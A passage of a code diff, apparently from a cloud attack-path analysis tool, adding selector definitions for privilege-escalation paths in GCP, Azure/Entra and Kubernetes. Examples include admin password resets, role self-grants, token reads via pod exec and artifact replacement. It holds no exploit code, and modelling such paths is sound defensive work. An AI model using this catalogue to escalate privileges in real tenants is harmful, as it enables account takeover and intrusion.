SCC users[] entry " + "whose namespace is absent from a complete namespace inventory."), + 'k8s_sa_named_in_scc_users': (("k8s",), "bool_true", + "OpenShift: service account named in a SecurityContextConstraints users[] entry " + "(system:serviceaccount::); SA nodes only named by an SCC are virtual."), + 'k8s_secret_holds_cloud_credential': (("k8s",), "secret_provider", "cloud_identity targets standing for a static cloud credential stored in a Secret (one node per Secret, scope " "/, {target.name} = Secret name), recognised from Secret metadata only (name, labels, " "annotations: never data); value aws|gcp|azure|any or a list. Always conditional (content not verified)."), - "k8s_secret_holds_remote_cluster_credential": (("k8s",), "label_selector", + 'k8s_secret_holds_remote_cluster_credential': (("k8s",), "label_selector", "k8s_remote_cluster targets: Secrets whose labels match one 'key=value' (or 'key') selector; true = known markers " "(argocd.argoproj.io/secret-type=cluster, cluster.x-k8s.io/cluster-name with a *-kubeconfig name)."), - "gcp_group_join_open_to_source": (("gcp",), "bool_true", + 'gcp_group_join_open_to_source': (("gcp",), "bool_true", "gcp_group targets the source can join without approval (Groups Settings whoCanJoin ANYONE_CAN_JOIN, or " "ALL_IN_DOMAIN_CAN_JOIN with the source's email domain equal to the group's; a source outside the group's " "domain also needs allowExternalMembers=true). Use with requires: {} and source_kind gcp_user."), - "gcp_workspace_super_admin_with_registered_domain": (("gcp",), "bool_true", - "gcp_workspace_user targets that are Workspace super administrators whose primary email domain is the domainName " - "of a collected Cloud Domains registration; {target.domain_registration} = those registration resource names."), - "gcp_image_family_consumer": (("gcp",), "bool_true", + 'gcp_workspace_super_admin_with_registered_domain': (("gcp",), "bool_true", + "gcp_workspace_user targets that are Workspace super administrators of a customer whose customerDomain " + "matches an ACTIVE Cloud Domains registration; {target.domain_registration} = those registration resource names."), + 'gcp_image_family_consumer': (("gcp",), "bool_true", "gcp_service_account targets attached to a collected instance template whose boot disk sourceImage is an image " "family (projects/

/global/images/family/); {target.image_family_project} = projects/

of those families."), - "target_id_glob": (("aws", "gcp", "azure", "k8s"), "glob_list", + 'target_id_glob': (("aws", "gcp", "azure", "k8s"), "glob_list", "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the " "case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')."), - "target_name_glob": (("aws", "gcp", "azure", "k8s"), "glob_list", + 'target_name_glob': (("aws", "gcp", "azure", "k8s"), "glob_list", "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs."), - "exclude_target_id_glob": (("aws", "gcp", "azure", "k8s"), "glob_list", + 'exclude_target_id_glob': (("aws", "gcp", "azure", "k8s"), "glob_list", "Generic (evaluator): drop targets whose node id matches one of the globs."), + 'k8s_kcc_service_account_key_path': (("k8s",), "bool_true", "Joined Config Connector identity and exact Google service account key creation through a namespaced Kubernetes source."), + 'k8s_kcc_project_policy_grant': (("k8s",), "bool_true", "Exact namespace RBAC can change a Config Connector project IAM resource whose configured identity can read and set that project's IAM policy."), + 'k8s_constrained_impersonation_gain': (("k8s",), "string", "The impersonate-on action overlaps an observed right of the selected identity and grants a concrete action the source lacks."), + 'k8s_cluster_admin_role_exists': (("k8s",), "bool_true", "The named cluster-admin ClusterRole is collected and grants pod creation or named ServiceAccount TokenRequest in the target namespace."), + 'k8s_aggregation_new_role_path': (("k8s",), "bool_true", "An escalation grant admits a new ClusterRole name that is not already used by a collected role."), + 'k8s_csr_same_name_path': (("k8s",), "bool_true", "Read and approval permissions overlap on one creatable CSR name; restricted names stay unresolved without CSR inventory."), + 'k8s_csr_sa_subject': (("k8s",), "bool_true", "A collected RBAC binding names this ServiceAccount username and resolves to a role with effective rules."), + 'azure_resource_type': (("azure",), "string_or_list", + "Restrict an Azure resource entity target to collected resources with the exact ARM type."), + 'azure_hybrid_k8s_admin_credential_path': (("azure",), "bool_true", + "Bind a hybrid cluster admin kubeconfig action to its exact provisioned cluster or Arc cluster instance."), + 'azure_imagebuilder_new_template_identity_path': (("azure",), "bool_true", + "Check create and run on one new template plus source-to-template and template-to-build-VM identity assignment."), + 'azure_kusto_cluster_principal_assignment_path': (("azure",), "bool_true", + "Bind a cluster principal-assignment write to an exact collected Kusto cluster."), + 'azure_kusto_database_principal_assignment_path': (("azure",), "bool_true", + "Bind a database principal-assignment write to an exact collected Kusto database."), + 'azure_loadtesting_assign_uami_path': (("azure",), "bool_true", + "Bind UAMI assignment and all load-test write and run rights to the same existing or creatable resource."), + 'azure_loadtesting_existing_engine_identity_path': (("azure",), "bool_true", + "Bind test write and start DataActions to an exact Load Testing resource carrying the target identity."), + 'gcp_project_iam_sa_token_grant': (("gcp",), "bool_true", + "An exact project IAM policy writer can add a project-wide Token Creator binding for itself and mint a token for a named enabled service account it cannot already impersonate."), + 'gcp_privatecatalog_dm_iam_path': (("gcp",), "bool_true", + "An exact validated Deployment Manager version is shared to a consumer project whose Google APIs Service Agent has project IAM write authority the source lacks; the source can update that version."), + 'gcp_kcc_project_policy_grant': (("gcp",), "bool_true", + "A joined GKE cluster and Config Connector namespace identity can write a collected project's IAM policy through a served KCC policy resource."), + 'gcp_gke_clusterrole_bind': (("gcp",), "bool_true", + "A joined running GKE cluster has a confirmed cluster-admin ClusterRole and a create path or an existing ClusterRoleBinding whose subjects can be updated."), + 'gcp_gke_clusterrole_escalate': (("gcp",), "bool_true", + "A joined running GKE cluster has an exact ClusterRoleBinding reaching the source, and the source can update its non-aggregated ClusterRole or create its missing referenced ClusterRole."), + 'gcp_gke_system_impersonation': (("gcp",), "bool_true", + "An exact running GKE Standard cluster accepts system identity impersonation and the source can authenticate to its API server."), + 'gcp_gke_node_sa_actas': (("gcp",), "bool_true", + "An enabled service account can be selected for new Standard GKE nodes, and the source can create a pod on those nodes; cross-project use needs its guardrails."), + 'gcp_gke_webhook_ksa_path': (("gcp",), "bool_true", + "A running GKE cluster has a KSA workload that can be reached by a new webhook or by updating an existing webhook configuration."), + 'gcp_gke_namespaced_rbac_ksa_path': (("gcp",), "bool_true", + "Exact joined GKE namespace RBAC permits a self-grant of Pod creation or ServiceAccount token creation for the target KSA."), + 'gcp_gke_node_proxy_sa': (("gcp",), "bool_true", + "Exact GKE node-pool service account is joined to a running Pod on a labeled node whose metadata mode permits its token to be read through kubelet execution."), + 'gcp_gke_node_proxy_ksa': (("gcp",), "bool_true", + "Exact GKE node proxy grant reaches a running container on a joined Node with the target Kubernetes service account token."), + 'gcp_gke_pod_template_ksa': (("gcp",), "bool_true", + "Exact GKE workload create authority, or update authority over an existing mutable controller in the target KSA namespace, with Google-principal cluster authentication."), + 'gcp_gke_pod_template_node_sa': (("gcp",), "bool_true", + "Exact running GKE Standard cluster and node pool attach the target service account to a schedulable node with usable metadata; the source can create a workload, update an existing controller, or update a running Pod."), + 'gcp_gke_pod_exec_node_sa': (("gcp",), "bool_true", + "Exact running GKE Standard cluster and node pool attach the target service account to a node with a running Pod container whose metadata mode exposes that account."), + 'gcp_gke_pod_exec_ksa': (("gcp",), "bool_true", + "Exact joined GKE ServiceAccount has a named running Pod container with a mounted API audience token and Google-principal Pod exec authority."), + 'gcp_gke_pod_update_ksa': (("gcp",), "bool_true", + "Exact joined GKE ServiceAccount has a named running Pod container whose image can be changed and whose mounted token has the API audience."), + 'gcp_gke_secret_ksa': (("gcp",), "bool_true", + "Exact joined GKE ServiceAccount UID matches a populated, valid token Secret that the Google principal can list or read by a discoverable name."), + 'gcp_gke_token_request_ksa': (("gcp",), "bool_true", + "Exact joined running GKE cluster has a non-deleting Kubernetes ServiceAccount whose TokenRequest subresource the Google principal can create."), + 'gcp_gke_nodepool_metadata_downgrade': (("gcp",), "bool_true", + "An exact Standard GKE node pool currently using GKE_METADATA can be updated and has a Pod workload path to its attached node service account."), + 'gcp_kcc_generated_key_secret': (("gcp",), "bool_true", + "A joined KCC identity can create a key for the exact target service account while the source can create the KCC resource and read its generated Secret or key resource status on the same cluster."), + 'gcp_configdelivery_fleet_target': (("gcp",), "bool_true", + "Exact GKE fleet membership, Config Sync feature and RootSync authority with the source's Config Delivery rights on the fleet host project."), + 'gcp_fleet_config_management_target': (("gcp",), "bool_true", + "Exact GKE fleet member, feature lifecycle and member feature, mutation permission on the matching resource, and Config Sync RootSync authority."), + 'gcp_fleet_rbac_admin_target': (("gcp",), "bool_true", + "Exact fleet membership or scope binding to an observed admin-equivalent custom ClusterRole on its joined GKE cluster, with an API access path."), + 'gcp_bigquery_spark_connection_path': (("gcp",), "bool_true", + "One recorded Spark connection identity has a new effective permission; the source can create or replace and invoke a Spark procedure in a compatible dataset using that exact connection."), + 'gcp_mig_existing_template_path': (("gcp",), "bool_true", + "One inventoried managed instance group and its current template are joined to exact update, template, supporting, rollout, and service-agent actAs permissions."), + 'gcp_vm_create_path': (("gcp",), "bool_true", + "The source can create a VM with the target service account and a usable boot image, subnet, startup metadata, and outbound access path."), + 'gcp_osadminlogin_vm_path': (("gcp",), "bool_true", + "A running VM attached to the target service account has OS Login enabled and the source can request administrator login on that exact VM."), + 'gcp_osconfig_guest_policy_path': (("gcp",), "bool_true", + "A running VM attached to the target service account has an active OS Config inventory heartbeat and enabled guest-policy processing; creation or exact existing-policy update authority is checked separately."), + 'gcp_osconfig_os_policy_assignment_path': (("gcp",), "bool_true", + "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; zonal create or named update authority is checked separately."), + 'gcp_osconfig_patch_job_path': (("gcp",), "bool_true", + "A running patch-supported VM attached to the target service account has enabled patch processing and a recent agent heartbeat; project execute/create or exact deployment update authority is checked separately."), + 'gcp_osconfig_policy_orchestrator_path': (("gcp",), "bool_true", + "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; the source can write an orchestrator at a containing parent with required service agents."), + 'gcp_oslogin_vm_path': (("gcp",), "bool_true", + "A running VM attached to the target service account has OS Login enabled and the source can request standard login on that exact VM."), + 'gcp_metadata_vm_path': (("gcp",), "bool_true", + "An exact VM with the target service account has metadata control and a concrete startup or metadata SSH path."), + 'gcp_project_metadata_vm_path': (("gcp",), "bool_true", + "An exact VM with the target service account inherits controlled project metadata and has a concrete startup or metadata SSH path."), + 'gcp_sa_swap_vm_path': (("gcp",), "bool_true", + "An existing VM can stop if needed, attach the target service account, start, and run code or allow login on that same VM."), + 'gcp_mig_create_path': (("gcp",), "bool_true", + "A new instance template and managed instance group can use a ready image and subnet, caller and service-agent permissions, and the exact target service account."), + 'gcp_sourcerepo_trigger_path': (("gcp",), "string", + "A collected Cloud Source repository and enabled push trigger are joined to its exact build service account and source permission (push or selfgrant)."), + 'gcp_workstations_create_config_path': (("gcp",), "bool_true", + "An existing workstation cluster allows config and workstation creation for the chosen service account."), + 'gcp_workstations_use_existing_path': (("gcp",), "bool_true", + "The source can use an exact running workstation, start and use a stopped one, or self-grant access through its policy."), + 'gcp_workstations_create_from_config_path': (("gcp",), "bool_true", + "The source can create a workstation from an exact config and can act as the account if its scopes require that."), + 'gcp_composer_dag_upload_path': (("gcp",), "bool_true", + "Source can create a new Python DAG object under the observed prefix of a usable Composer environment, including through managed-folder IAM."), + 'gcp_composer_create_with_dag_path': (("gcp",), "bool_true", + "Source can create a Composer environment in a region with an eligible custom bucket, prepopulate its DAG prefix, and attach a service account with Composer Worker access."), + 'gcp_composer_pypi_update_path': (("gcp",), "bool_true", + "Source can update the PyPI packages of a running Composer environment using the target service account."), + 'gcp_vmmigration_metadata_clone_path': (("gcp",), "bool_true", + "Source can update and clone the same MigratingVm whose target defaults name the target runtime service account."), + 'gcp_composer_storage_policy_path': (("gcp",), "string", + "Source can write the IAM policy of the exact DAG bucket or managed folder for a usable Composer environment."), + 'gcp_run_job_create_execute_path': (("gcp",), "bool_true", + "Source can create and run a new Cloud Run job in the target service account's project when both grants apply there and the API is enabled."), + 'gcp_run_service_create_path': (("gcp",), "bool_true", + "Source can create a new Cloud Run service in the target service account's project when the grant applies there and the API is enabled."), + 'gcp_run_service_policy_update_path': (("gcp",), "bool_true", + "Source can self-grant missing update rights on an exact ready Cloud Run service whose IAM policy it controls."), + 'gcp_run_worker_pool_policy_update_path': (("gcp",), "bool_true", + "Source can self-grant missing update rights on an exact ready Cloud Run worker pool whose IAM policy it controls."), + 'gcp_artifact_upload_consumer_path': (("gcp",), "bool_true", + "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository upload authority."), + 'gcp_apigee_proxy_deploy_path': (("gcp",), "bool_true", + "Existing Apigee organization and standard environment with exact author and deployment grants and runtime token delegation."), + 'gcp_apigee_sharedflow_hook_path': (("gcp",), "bool_true", + "Existing standard Apigee environment with a proxy deployment, exact shared-flow and hook grants, and runtime token delegation."), + 'gcp_firebase_apphosting_retarget': (("gcp",), "bool_true", + "An exact active Firebase App Hosting backend exists in the target SA project and the source can update, build and roll out on that backend."), + 'gcp_eventarc_oauth_pipeline_path': (("gcp",), "bool_true", + "An exact Eventarc project has pipeline-create permission, a same-region enrollment route through an existing or creatable bus, and a service agent able to mint an OAuth token for the target SA."), + 'gcp_cloudbuild_api_enabled': (("gcp",), "bool_true", + "Cloud Build API is enabled in the target service account's build project."), + 'gcp_datapipelines_scheduled_template_path': (("gcp",), "bool_true", + "Enabled Data Pipelines runtime, scheduled region, service agents, and an authorized Scheduler identity for the exact worker account."), + 'gcp_dataflow_flex_launch_path': (("gcp",), "bool_true", + "Enabled Dataflow API, project read, usable staging bucket, worker role and access, and Dataflow and Compute service-agent rights on the exact worker account."), + 'gcp_dataflow_artifact_overwrite_path': (("gcp",), "bool_true", + "An active Dataflow job links the exact worker account to an unpinned code object that the source can replace and the worker can read."), + 'gcp_datafusion_artifact_poison_path': (("gcp",), "bool_true", + "A replaceable USER-scoped CDAP artifact version is used by an enabled pipeline schedule with a resolved runner and exact namespace and runtime permissions."), + 'gcp_datafusion_pipeline_path': (("gcp",), "bool_true", + "An installed pipeline artifact exposes a code plugin, and exact namespace, profile, service-agent and runner permissions support execution."), + 'gcp_datafusion_selfgrant_path': (("gcp",), "bool_true", + "The source can change the exact Data Fusion instance or namespace IAM policy, then reach an installed code plugin's runnable profile account."), + 'gcp_dataplex_task_path': (("gcp",), "bool_true", + "An active lake accepts task creation, the selected account can be acted as and run Spark, and a writable Python payload is readable by that account."), + 'gcp_dataproc_create_path': (("gcp",), "bool_true", + "The source can create a Dataproc workload with the chosen service account, runnable worker, script, service agent, and subnet."), + 'gcp_dataproc_session_path': (("gcp",), "bool_true", + "The source can create and access a Dataproc interactive session with the chosen service account and a usable runtime."), + 'gcp_dataproc_cluster_selfgrant_path': (("gcp",), "bool_true", + "The source can change an exact running Dataproc cluster policy, create a job in its project, and supply a script the cluster account can read."), + 'gcp_dataproc_gateway_path': (("gcp",), "bool_true", + "An enabled notebook gateway on an exact running cluster lets the caller run code with its verified VM or mapped service account."), + 'gcp_dataproc_job_path': (("gcp",), "bool_true", + "The caller can submit a runnable job to an exact running cluster and use its verified VM or mapped service account."), + 'gcp_dataproc_init_replace_path': (("gcp",), "bool_true", + "The caller can replace one live initialization-action object that a running cluster's VM account can read."), + 'gcp_dataproc_workflow_path': (("gcp",), "bool_true", + "The caller can create and instantiate a managed-cluster workflow with a runnable initialization action and chosen service account."), + 'gcp_deploymentmanager_create_path': (("gcp",), "bool_true", + "An existing customer's enabled Deployment Manager can use the exact project Google APIs Service Agent for a viable VM path."), + 'gcp_deploymentmanager_selfgrant_path': (("gcp",), "bool_true", + "The caller can change an exact deployment policy, grant itself update, and use the exact project agent's downstream path."), + 'gcp_deploymentmanager_update_path': (("gcp",), "bool_true", + "The caller can update an exact existing deployment with a current fingerprint and use its project agent's downstream path."), + 'gcp_developerconnect_pipeline_path': (("gcp",), "bool_true", + "The caller can write the exact Developer Connect link of an enabled push trigger with a repository build file and a more privileged build identity."), + 'gcp_cross_project_run_instance': (("gcp",), "bool_true", + "A Cloud Run instance can be created or updated in a different collected project with the target SA only " + "when the exact host action, target project's effective cross-project policy, and service-agent token access are resolved."), + 'azure_policy_assignment_identity_path': (("azure",), "bool_true", + "A writable policy assignment, writable visible custom definition, and assignable UAMI must form one usable path."), + 'azure_servicefabric_application_uami_path': (("azure",), "bool_true", + "Application type, version, application and UAMI assignment grants must join on one Service Fabric cluster."), + 'azure_spring_app_uami_path': (("azure",), "bool_true", + "App write and deployment write must join on one app in an inventoried Spring Apps service, with assignment of the exact UAMI."), + 'azure_spring_deployment_identity_path': (("azure",), "bool_true", + "Deployment write must authorize a child of the Spring app carrying the target managed identity."), + 'azure_synapse_entra_admin_path': (("azure",), "bool_true", + "An eligible source can write the Active Directory administrator child of an inventoried Synapse workspace."), + 'azure_vm_assign_existing_uami_path': (("azure",), "bool_true", + "The source can write one inventoried VM, assign the exact UAMI, and execute code on that same VM."), + 'azure_vm_assign_indirect_uami_path': (("azure",), "bool_true", + "The source can write one inventoried VM, assign the exact UAMI, and use a same-VM indirect guest route."), + 'azure_vm_create_uami_path': (("azure",), "bool_true", + "The source can create a VM in a known group, join a usable NIC or create one on a known subnet, and assign the exact UAMI."), + 'azure_vm_reimage_customdata_path': (("azure",), "bool_true", + "Reimage with request-body customData must target an inventoried Linux VM carrying the target identity."), + 'azure_vm_extension_execution_path': (("azure",), "bool_true", + "Extension write must authorize a child of the inventoried VM carrying the target identity."), + 'azure_vm_gallery_application_path': (("azure",), "bool_true", + "Writable gallery application version and VM write must join an inventoried VM identity host."), + 'azure_vm_managed_runcommand_path': (("azure",), "bool_true", + "Managed Run Command write must authorize a child of the inventoried VM carrying the target identity."), + 'azure_vm_os_disk_swap_path': (("azure",), "bool_true", + "VM write and writable compatible same-region replacement disk must join the inventoried VM identity host."), + 'azure_vm_runcommand_action_path': (("azure",), "bool_true", + "Run Command action must target an inventoried VM carrying the identity and a stopped VM needs start/action."), + 'azure_vmss_model_rollout_path': (("azure",), "bool_true", + "Uniform VMSS model or extension write must authorize the identity host and a route to its instances."), + 'azure_vmss_instance_runcommand_path': (("azure",), "bool_true", + "Managed Run Command write must target a child of an inventoried Uniform scale-set instance."), + 'azure_vmss_instance_runcommand_action_path': (("azure",), "bool_true", + "Run Command action must authorize an inventoried Uniform scale-set instance carrying the identity."), + 'azure_containerapp_write_existing_identity': (("azure",), "bool_true", + "The source can write an exact usable Container App with this currently attached identity, and can start it if stopped."), + 'azure_containerapp_job_execution_identity': (("azure",), "bool_true", + "The source can start the exact usable Job with an execution template override, or write a controlled scheduled template, and the target identity is available in the main stage or an init stage on a confirmed Consumption workload profile."), + 'azure_mysql_flexible_admin_password_reset': (("azure",), "bool_true", + "The source can reset the administrator password on an exact usable MySQL Flexible Server with native password authentication enabled or enableable."), + 'azure_mysql_flexible_entra_admin_write': (("azure",), "bool_true", + "The source can set itself or a group it belongs to as the Entra administrator of an exact usable MySQL Flexible Server with a qualified user-assigned identity."), + 'azure_postgresql_flexible_admin_password_reset': (("azure",), "bool_true", + "The source can reset the administrator password on an exact ready PostgreSQL Flexible Server, promoting a replica first if necessary."), + 'azure_postgresql_flexible_entra_admin_write': (("azure",), "bool_true", + "The source can add itself or a group it belongs to as an Entra administrator on an exact PostgreSQL Flexible Server with Entra authentication enabled or enableable."), + 'azure_sql_server_admin_password_reset': (("azure",), "bool_true", + "The source can reset the administrator password on an exact usable Azure SQL logical server with SQL authentication enabled or enableable."), + 'azure_sql_server_entra_admin_write': (("azure",), "bool_true", + "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable Azure SQL logical server."), + 'azure_sqlmi_admin_password_reset': (("azure",), "bool_true", + "The source can reset the administrator password on an exact usable Azure SQL Managed Instance with SQL authentication enabled or enableable."), + 'azure_sqlmi_entra_admin_write': (("azure",), "bool_true", + "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable SQL Managed Instance whose identity can read the directory."), + 'azure_mongo_cluster_admin_password': (("azure",), "bool_true", + "The source can update an exact inventoried primary Mongo cluster in a usable state to reset its administrator password."), + 'azure_mongo_cluster_self_root': (("azure",), "bool_true", + "The source can assign the root database role to its own Entra principal on an exact usable primary Mongo cluster with Entra authentication enabled or enableable."), + 'azure_cosmos_mongo_user_write': (("azure",), "bool_true", + "The source can create a password-controlled MongoDB user with a built-in privileged role on an exact usable MongoDB account with native RBAC enabled."), + 'azure_cosmos_sql_role_grant': (("azure",), "bool_true", + "The source can assign its own Entra principal the built-in NoSQL Data Contributor role on an exact usable Cosmos DB for NoSQL account."), + 'azure_databricks_workspace_admin': (("azure",), "bool_true", + "An enabled tenant member user can bootstrap admin on an exact usable Databricks workspace with both required Azure RBAC actions."), + 'azure_cosmos_other_api_role_grant': (("azure",), "bool_true", + "The source can grant its own Entra principal a privileged native role on an exact usable account of the matching Cosmos DB API."), + 'azure_logicapp_assign_uami_path': (("azure",), "bool_true", + "The source can assign the exact UAMI and write one existing or creatable Consumption workflow in an inventoried resource group."), + 'azure_logicapp_existing_identity_path': (("azure",), "bool_true", + "The source can write the exact existing Consumption workflow carrying the target managed identity."), + 'azure_managedapp_listtokens_path': (("azure",), "bool_true", + "The source can call listTokens on the exact managed application carrying the target managed identity."), + 'azure_uami_fic_write_path': (("azure",), "bool_true", + "The source can create or update a federated credential child on the exact user-assigned identity resource."), + 'azure_ml_compute_application_identity_path': (("azure",), "bool_true", + "The source can open applications on the exact assigned or shared ML compute instance carrying the identity, while it runs or can be started."), + 'azure_ml_compute_create_uami_path': (("azure",), "bool_true", + "The source can create a new compute instance with an inline script under an existing workspace and assign the exact user-assigned identity."), + 'azure_ml_existing_online_deployment_identity_path': (("azure",), "bool_true", + "The source can write the exact existing online endpoint, a deployment child and the owning workspace read path while that endpoint carries the target identity."), + 'azure_ml_online_endpoint_create_uami_path': (("azure",), "bool_true", + "The source can create one online endpoint and deployment under an existing workspace and assign the exact user-assigned identity."), + 'azure_devtestlab_artifact_identity': (("azure",), "bool_true", + "The source can apply artifacts to the exact lab VM whose computeId points to a known compute VM carrying the target identity."), + 'azure_function_definition_code_path': (("azure",), "bool_true", + "Source can edit a function on the exact writable Function App carrying the target managed identity."), + 'azure_function_host_vfs_code_path': (("azure",), "bool_true", + "Source can use hostruntime VFS write on the exact writable Function App carrying the target managed identity."), + 'azure_function_remote_debug_path': (("azure",), "bool_true", + "Source can obtain publishing credentials and enable or use debugging on the exact supported Function App identity host."), + 'azure_arc_guest_configuration_path': (("azure",), "bool_true", + "Exact Arc machine guest-configuration assignment write path and collected connection state."), + 'entra_graph_directory_role_self_grant': (("azure",), "bool_true", + "An enabled Graph application source can assign itself a new tenant-scoped, enabled directory role."), + 'entra_role_assignment_self_grant': (("azure",), "bool_true", + "An active role-assignment manager can assign itself a new enabled directory role at tenant scope."), + 'entra_graph_tap_user_target': (("azure",), "bool_true", + "An enabled Graph application can issue a Temporary Access Pass to a user included in the enabled policy and not excluded by group or external identity."), + 'entra_sp_credential_takeover_target': (("azure",), "bool_true", + "An enabled application service principal whose credential update is not blocked by a known home-application lock."), + 'entra_sp_owner_update_target': (("azure",), "bool_true", + "An enabled application service principal the user does not already own and whose credentials are not known to be locked."), + 'entra_auth_admin_user_takeover': (("azure",), "bool_true", + "Authentication Administrator role scope, protected user and TAP or password reset path are checked for the target."), + 'entra_helpdesk_password_reset': (("azure",), "bool_true", + "Helpdesk password reset checks target roles, group protection, administrative unit scope, and password origin."), + 'entra_password_admin_reset': (("azure",), "bool_true", + "Password Administrator reset checks target roles, group protection, administrative unit scope, and password origin."), + 'entra_user_admin_password_reset': (("azure",), "bool_true", + "User Administrator reset checks target roles, AU scope, password origin, and app-only Graph grants."), + 'entra_nonadmin_password_reset': (("azure",), "bool_true", + "Non-admin reset roles check user source, target protection, administrative unit scope, and password origin."), + 'entra_privileged_auth_user_takeover': (("azure",), "bool_true", + "Privileged credential reset checks role scope, target protection, and application grants."), + 'entra_group_new_self_membership': (("azure",), "bool_true", + "The enabled source can join this supported assigned group and is not already a direct or nested member."), + 'entra_group_owner_new_self_membership': (("azure",), "bool_true", + "An enabled owner can join the supported assigned group, with protected-group Graph permission checks."), + 'entra_group_source_not_owner': (("azure",), "bool_true", + "The source is not already an owner of the target group; incomplete owner inventory stays conditional."), + 'entra_pim_active_sp_membership': (("azure",), "bool_true", + "The enabled application source can request time-limited active membership in a cloud security group where it is not already a member."), + 'entra_pim_controlled_user_eligibility': (("azure",), "bool_true", + "A PIM eligibility request can name a controlled user who is not already a member of the cloud security or Microsoft 365 group."), + 'entra_catalog_self_grant_group': (("azure",), "bool_true", + "A source user can create or assign a package granting Member or Owner of this cataloged group; " + "assignment managers require an existing package with that exact grant."), + 'entra_catalog_self_grant_role': (("azure",), "bool_true", + "A source user can create or assign a package granting Active Member or Eligible Member of this " + "cataloged Entra role; assignment managers require an existing package with that exact grant."), + 'entra_graph_application_credential_target': (("azure",), "bool_true", + "Application-type service principal has a matching tenant application for application addPassword; " + "foreign service principals stay unresolved when their instance lock cannot be checked."), + 'entra_graph_self_grant_directory_role': (("azure",), "bool_true", + "The source can grant itself Microsoft Graph RoleManagement.ReadWrite.Directory and a fresh token can " + "assign an inventoried Entra directory role."), + 'entra_graph_group_sp_membership': (("azure",), "bool_true", + "The source app has Graph permission to add itself to a cloud-managed security group that does not already contain it."), + 'entra_graph_group_user_membership': (("azure",), "bool_true", + "The source app can add a user it reaches to a cloud-managed security or Microsoft 365 group."), + 'entra_auto_assignment_package_group': (("azure",), "bool_true", + "Target group has a Member role in an existing access package whose automatic assignment policy the source can create."), + 'k8s_sa_used_by_interactive_pod': (("k8s",), "bool_true", + "Service account is used by a Running pod with a running container whose stdin is enabled; " + "whether its process accepts commands remains conditional."), + 'k8s_mutating_admission_policy_served': (("k8s",), "bool_true", + "API discovery advertises both MutatingAdmissionPolicy and MutatingAdmissionPolicyBinding resources; " + "missing resource discovery is unresolved."), + 'k8s_websocket_exec_get_usable': (("k8s",), "bool_true", + "The collected Kubernetes server version is older than 1.35, when WebSocket exec could use get alone; " + "1.35+ requires create by default and stays unresolved if the feature gate state is not collected."), + 'k8s_pod_access_path': (("k8s",), "string", + "Join the named Running pod, its ServiceAccount, token volume/mount and the source's exact-name RBAC grant " + "for modify_image, exec, exec_get_websocket, attach or ephemeral_container."), + 'openshift_namespace_without_scc': (("k8s",), "bool_true", + "A fixed OpenShift default project or a collected existing namespace with openshift.io/run-level; " + "missing namespace labels remain unresolved."), + 'openshift_unlabeled_existing_namespace': (("k8s",), "bool_true", + "The pivot namespace exists and does not yet have openshift.io/run-level; the source must also hold " + "namespace patch/update and workload creation on that exact namespace."), + 'openshift_source_host_scc_path': (("k8s",), "bool_true", + "The source can use a collected privileged or host-filesystem SCC in the same namespace where it creates " + "a Pod, through namespace-scoped RBAC or SCC users/groups."), + 'k8s_dangling_sa_permission_gain': (("k8s",), "bool_true", + "The missing ServiceAccount's direct binding resolves to a role with a concrete permission that the source lacks."), + 'k8s_sa_missing_in_host_scc_users': (("k8s",), "bool_true", + "OpenShift: absent service account named in a host-access SCC users[] entry in an existing namespace; " + "missing inventory is unresolved."), } # Keys allowed under the top-level `source_selector` (restricts which principals act as sources). SOURCE_SELECTOR_KEYS = { - "azure_member_user": (("azure",), "bool", + 'azure_member_user': (("azure",), "bool", "Source is a directory user whose collected userType is Member; absent or Guest userType does not satisfy this selector."), - "include_service_managed": (("aws", "gcp", "azure", "k8s"), "bool", + 'include_service_managed': (("aws", "gcp", "azure", "k8s"), "bool", "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party " "service principals) as sources; they are skipped by default because customers cannot act as them."), - "k8s_node_role": (("k8s",), "string", "Node carries node-role.kubernetes.io/ label."), - "eks_access_entry_type": (("k8s",), "string", + 'k8s_node_role': (("k8s",), "string", "Node carries node-role.kubernetes.io/ label."), + 'eks_access_entry_type': (("k8s",), "string", "EKS access entry type of the source EKS node-role cloud identity (related AWS eks_access_entry); sources whose " "entries have another type are dropped, sources without an entry are decided by the target selector."), - "source_id_glob": (("aws", "gcp", "azure", "k8s"), "glob_list", + 'source_id_glob': (("aws", "gcp", "azure", "k8s"), "glob_list", "Generic (evaluator): the source principal id matches one of the case-insensitive globs."), - "source_reaches_kind": (("aws", "gcp", "azure", "k8s"), "target_kind", + 'source_reaches_kind': (("aws", "gcp", "azure", "k8s"), "target_kind", "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through " "the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the " "condition source_reaches__via_chain."), - "source_bound_to_aggregated_clusterrole": (("k8s",), "bound_scope", + 'source_bound_to_aggregated_clusterrole': (("k8s",), "bound_scope", "Source is bound to a ClusterRole with an aggregationRule: true = by any (Cluster)RoleBinding, 'cluster' = by a " "ClusterRoleBinding only (cluster-wide)."), - "gcp_workspace_admin_role": (("gcp",), "string", + 'gcp_workspace_admin_role': (("gcp",), "string", "Source is a Workspace/Cloud Identity user holding that admin role: 'super_admin' (users.isAdmin or a role with " "isSuperAdminRole) or an admin roleId / roleName (Admin SDK roleAssignments)."), + 'source_reaches_user_outside_target_group': (("azure",), "bool_true", + "The chain must reach an enabled user who is not already a member of the target group."), } # Collection types/fields a selector or requirement needs; reported in coverage when missing. FACTS_NEEDED = { - "gcp_clouddeploy_custom_render_path": "Cloud Deploy pipelines, targets, custom target types, and their render execution service accounts", - "gcp_clouddeploy_existing_custom_render_path": "Cloud Deploy pipelines, targets, custom target types, and their render execution service accounts", - "gcp_clouddeploy_pipeline_policy_custom_render_path": "Cloud Deploy pipelines, targets, custom target types, and their render execution service accounts", - "gcp_clouddeploy_configurable_custom_render_path": "Cloud Deploy pipelines, targets, custom target types, and their render execution service accounts", - "gcp_cloudbuild_writable_trigger_token_path": "Cloud Build repository push triggers, source build config, and explicit service accounts", - "gcp_cloudbuild_writable_trigger_policy_path": "Cloud Build repository push triggers, source build config, and explicit service accounts", - "gcp_workflows_update_execute_same_workflow": "Active Workflows resources, their attached service 